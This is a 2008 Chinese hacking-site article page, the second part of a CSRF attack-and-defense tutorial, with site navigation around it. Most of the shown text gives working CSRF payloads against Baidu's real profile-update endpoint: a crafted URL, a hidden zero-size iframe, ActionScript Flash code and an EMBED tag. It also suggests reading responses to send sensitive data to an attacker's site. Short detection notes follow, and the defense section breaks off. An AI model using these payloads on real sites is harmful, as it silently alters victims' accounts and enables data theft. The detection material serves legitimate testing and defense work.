奥运倒计时: 2008 中国挺住,中国加油! 全国人民对四川汶川大地震遇难同胞的深切哀悼! 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 黑客攻防 >> 正文

CSRF——攻击与防御 (2)

作者:二少    文章来源:互联网    点击数:    更新时间:2008-5-1

0x04 一个实例

因为CSRF不如XSS那么引人注目,所以现在找一个存在CSRF的Web应用程序还是很容易的。这次我们的目标是百度,just for test。
随便你用什么办法,让一个已登陆百度的用户访问一下这个URL:http: //www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_sITe=%3B%3B
呵呵,然后看看那人个人资料是不是被修改了。这里有点郁闷,当那人访问URL后浏览器会返回到资料修改成功的页面,我们就被发现了。那么,有没有办法不让浏览器刷新呢?
有。
一个办法是用iframe,构造这样的HTML代码:<iframe width=0 height=0 src="http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_sITe=%3B%3B"></iframe>
还有一个办法就是用flash了。

0x05 CSRF WITh Flash

flash是可以提交数据到任意URL的,打开盗版的 Adobe flash CS 3 Professional,新建一个 flash文件(ActionScript 3.0) ,在默认的图层上点右键选动作,然后把以下代码添加进去:

import flash.net.URLRequest;
import flash.system.SecurITy;
var url = new URLRequest("http://www.0x54.org/lake2");
var lake = new URLVariables();
lake = "a=lake2";
url.method = "POST";
url.data = lake;
sendToURL(url);
stop();

导出为swf文件,访问之,抓包看看效果咯:http://www.0x54.org/lake2/flash/test1.html
每次都去写as和编译swf很麻烦的,根据CSRF Redirector的思路我写了一个类似的flash程序[5],再拿百度来试试效果,访问带如下HTML的网页:<EMBED src="http://www.0x54.org/lake2/flash/flash_hacking.swf?f=1&t=http://passport.baidu.com/ucommITbas& d=u_jump_url%3D%26sex%3D1%26email%3DCSRF@baidu.com%26sdv%3D%26zodiac%3D0% 26birth_year%3D0%26birth_month%3D0%26birth_day%3D0%26blood%3D0%26bs0%3D%25C7% 25EB%25D1%25A1%25D4%25F1%26bs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs2%3D% 25CE%25DE%26txt_bs%3D%26birth_site%3D%253B%253B%26b%253Drs0%3D%25C7%25EB% 25D1%25A1%25D4%25F1%26rs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs2%3D%25CE% 25DE%26txt_rs%3D%26reside_sITe%3D%253B%253B"></EMBED>(还是要注意URL二次编码)
这里不要只局限于发请求,其实flash是可以得到返回内容的,要是返回内容有敏感信息的话,就可以读出来发送到我们控制的Web去。当然,这个得看目标站点是否让flash跨域取内容了。

0x06 检测CSRF

检测CSRF漏洞都是体力活了,先抓取一个正常请求的数据包,然后去掉referer字段再重新提交,如果还是有效那基本上就存在问题了。当然参数可能含有不能预测的参数(比如userid什么的),这个时候就看这个不可预测的参数能不能通过其他手段比如flash拿到,如果能,呵呵,则还是存在问题。还有就是试着改post为get,因为有些程序是不区分get/post的。
应用程序的功能和返回形式都各不相同,所以想自动化测试CSRF漏洞还是有点困难的,OWASP上面有一个叫做CSRFTester的工具不妨拿来一试[6]

0x07 防御CSRF

在Web应用程序侧防御CSRF漏洞,一般都是利用referer、token或者验证码,Nexus的文章[7]已经写的很全面了;superhei也

[1] [2] 下一页

文章录入:二少    责任编辑:放弃 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    固顶文章利用ewebeditor编辑器批量检测网站(图)
    推荐文章防止Windows全局钩子的入侵
    推荐文章如何关闭端口防止病毒与黑客入侵
    推荐文章实例讲解跨站入侵攻防战之攻击篇
    推荐文章什么是远程登录全程解析
    推荐文章看看黑客是如何给我们的系统种上木马的
    推荐文章利用cain还原加密后的ftp密码
    推荐文章黑客攻防实战之对有防火墙网站入侵过程
     热门文章
    推荐文章如何关闭端口防止病毒与黑客入侵
    普通文章Linux提权记录
    推荐文章什么是远程登录全程解析
    推荐文章看看黑客是如何给我们的系统种上木马的
    推荐文章剑走偏锋之灵巧的脚本注入方式
    推荐文章瑞星公司11月12日发布 每日计算机病毒及木马
    推荐文章一个Web网页下蠕虫的简单实现
    推荐文章推荐:Ce-Admin新闻发布系统漏洞分析
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号